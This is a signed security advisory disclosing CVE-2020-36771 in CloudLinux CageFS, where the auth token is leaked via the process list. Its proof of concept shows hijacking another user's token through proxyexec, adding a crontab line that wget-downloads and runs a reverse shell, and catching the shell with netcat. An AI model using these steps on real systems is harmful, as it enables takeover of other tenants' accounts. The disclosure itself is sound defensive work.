-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 # CloudLinux CageFS Token Disclosure # Link: https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-01_CloudLinux_CageFS_Token_Disclosure ## Vulnerability Overview ## CloudLinux CageFS 7.1.1-1 or below passes the authentication token as a command line argument. In some configurations this allows local users to view the authentication token via the process list and gain code execution as another user. * **Identifier** : SBA-ADV-20200707-01 * **Type of Vulnerability** : Invocation of Process Using Visible Sensitive Information * **Software/Product Name** : [CloudLinux CageFS](https://www.cloudlinux.com/) * **Vendor** : CloudLinux Inc. * **Affected Versions** : <= 7.1.1-1 * **Fixed in Version** : 7.1.2-2 * **CVE ID** : CVE-2020-36771 * **CVSS Vector** : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H * **CVSS Base Score** : 7.8 (High) ## Vendor Description ## > CloudLinux OS is the leading platform for multitenancy. It improves > server stability, density, and security by isolating each tenant and > giving them allocated server resources. This creates an environment > that feels more like a virtual server than a shared hosting account. > By doing so, CloudLinux OS reduces operating costs and churn rates, > and increases profitability. Source: <https://www.cloudlinux.com/> ## Impact ## If the `lve_namespaces` service or the virtualized proc filesystem feature is disabled, a local user can obtain the CageFS authentication token of other users by exploiting the vulnerability documented in this advisory. In most configurations this allows attackers to gain code execution as those users. ## Vulnerability Description ## CloudLinux offers a feature called proxy commands in CageFS environments. It allows limited execution of commands outside the CageFS environment from a user restricted within the CageFS envinronment. For this purpose a CageFS daemon runs outside of the CageFS environment, it is accessible via a UNIX socket from within the CageFS environment. The UNIX socket is handled by `proxyexec`. To make the whole process of calling a tool outside of the CageFS transparent to the user, wrapper scripts are placed within CageFS, which in turn call `proxyexec` for execution of the commands outside of the CageFS environment. Those wrapper scripts read the CageFS token from `/var/.cagefs/.cagefs.token` and pass it to the `proxyexec` command as a command line argument. CloudLinux by default enables the virtualized proc filesystem, which prevents other users from seeing the CageFS token within the process list. However, if the `lve_namespaces` service is disabled, e.g. the systemd unit is masked out, or the virtualized proc filesystem is explicitly disabled, other users can see the CageFS token within the process list. They can use the CageFS token of other users to talk to the CageFS daemon via `proxyexec` and the CageFS daemon executes the commands with the privileges of the supplied authentication token. ## Proof of Concept ## Let's assume, the `lve_namespaces` service is disabled and we are user `ftp2406151`: ```sh $ id uid=935(ftp2406151) gid=935(site2406151) groups=935(site2406151) ``` We list the process list and find another user executing `ping example.org`: ```sh $ ps aux | grep proxyexec 2094 root 0:00 /usr/sbin/proxyexec -q -d -s /var/lib/proxyexec/cagefs.sock/socket /bin/cagefs.server 1180646 934 0:00 /usr/sbin/proxyexec -c cagefs.sock ftp1488781 EjlVbSK63ye6dtHs / PING 1180642 example.org 1180647 root 0:00 /usr/sbin/proxyexec -q -d -s /var/lib/proxyexec/cagefs.sock/socket /bin/cagefs.server 1181229 ftp24061 0:00 grep proxyexec ``` We now can execute commands as user `ftp1488781` and, for example, view the crontab: ```sh $ /usr/sbin/proxyexec -c cagefs.sock ftp1488781 EjlVbSK63ye6dtHs / CRONTAB_LIST 0 no crontab for ftp1488781 ``` Now we setup a new crontab entry, which downloads a reverse shell and executes it every minute: ```sh $ echo '* * * * * wget -q -O rshell https://www.example.org/rshell && chmod +x rshell && nohup ./rshell &' | /usr/sbin/proxyexec -c cagefs.sock ftp1488781 EjlVbSK63ye6dtHs / CRONTAB_SAVE 0 ``` ```sh $ /usr/sbin/proxyexec -c cagefs.sock ftp1488781 EjlVbSK63ye6dtHs / CRONTAB_LIST 0 * * * * * wget -q -O rshell https://www.example.org/rshell && chmod +x rshell && nohup ./rshell & ``` Our shell connects back to us and we can execute arbitrary commands as the other user: ```sh $ nc -l -p 1234 id uid=934(ftp1488781) gid=934(site1488781) groups=934(site1488781) ``` ## Recommended Countermeasures ## We recommend to avoid passing sensitive information as a command line argument. Instead, `proxyexec` should directly read the CageFS token from the file `/var/.cagefs/.cagefs.token` and pass it to the CageFS daemon via the UNIX socket. ## Timeline ## * `2020-07-07`: identification of vulnerability in version 7.0.6-1 * `2020-07-10`: initial vendor contact * `2020-07-13`: initial vendor response * `2020-07-13`: disclosed vulnerability to vendor security contact * `2020-09-02`: vendor released version 7.1.2-2 to testing * `2020-09-28`: vendor released version 7.1.2-2 to production * `2020-10-02`: request CVE from MITRE * `2022-01-04`: MITRE declined request as it falls in the scope of Red Hat * `2024-01-19`: request CVE from Red Hat * `2024-01-22`: Red Hat assigned CVE-2020-36771 * `2024-01-25`: public disclosure ## References ## * CloudLinux OS Documentation. Virtualized /proc filesystem: <https://docs.cloudlinux.com/shared/cloudlinux_os_kernel/#virtualized-proc-filesystem> * CageFS 7.1.2-2 beta: <https://blog.cloudlinux.com/beta-cagefs-lve-wrappers-and-bsock-updated> * CageFS 7.1.2-2 production: <https://blog.cloudlinux.com/cagefs-lve-wrappers-and-bsock-have-been-rolled-out-to-100> ## Credits ## * David Lisa Gnedt ([SBA Research](https://www.sba-research.org/)) -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEL9Wp/yZWFD9OpIt6+7iGL1j3dbIFAmWynusACgkQ+7iGL1j3 dbKzLhAAwKYUzx9v+tPeTNNUUrgxibQSZIhtxcvpdfYTFQAm+Rj71F8g+FZIqV0D 5uMjUtutldd1Mh9YfEQ5hGbOawYqnfL9tebEX1SqdbraSD3r4tQEAMowgBMREpFJ DgUyIVTSnFVTQqcai2wpObPRgs397qM8mrykH5rAKdLD1kBfpULq7Duec62E740u Ay4YiIiO0OZWf7WElH3KunICE/Sv4TzqZ3DEIlSsQZQv8zM5r44O93FhMiMO6n3R pKfK8F4ub2y4e3gkW1uaoGO7ZwAW3aR+F5FAi6R5MJXm0RxIibL9tqCyVVrlXTS6 BZiFzsE9ATSSMGVGGH6O6rb1KXXXTc5jopEjGbQgWMKmZn+NK4yHzITFydzJi04P oaoQmbBWyN4OdfGApvUomyqPp6uUE+i1RfniHq+7vmIR5I7D/KsLQorYonmwD/26 b5BQ99M7sNGHlWbt1vn9imtDj+nw9JTK2425t6swJOc4QPxdKQtx6hESvRJHiPer M3VFmgj9c19mXQb2B+k+GgM4h7lrhvOyWGreWo1sOBtwcLX7i3zqkCOqowI3DedE cWV2qjNqTUqM4EMn6Gx5Rf32Kp6e1Jj0GXmMl7TVY5taBSyQ7UXPJkLT6MfyM1v6 hf5wIsINv1dNRQxpWgXiDvZ+d0AdSNxYfRZFe1wyQIKQbwLYm6w= =d1f0 -----END PGP SIGNATURE-----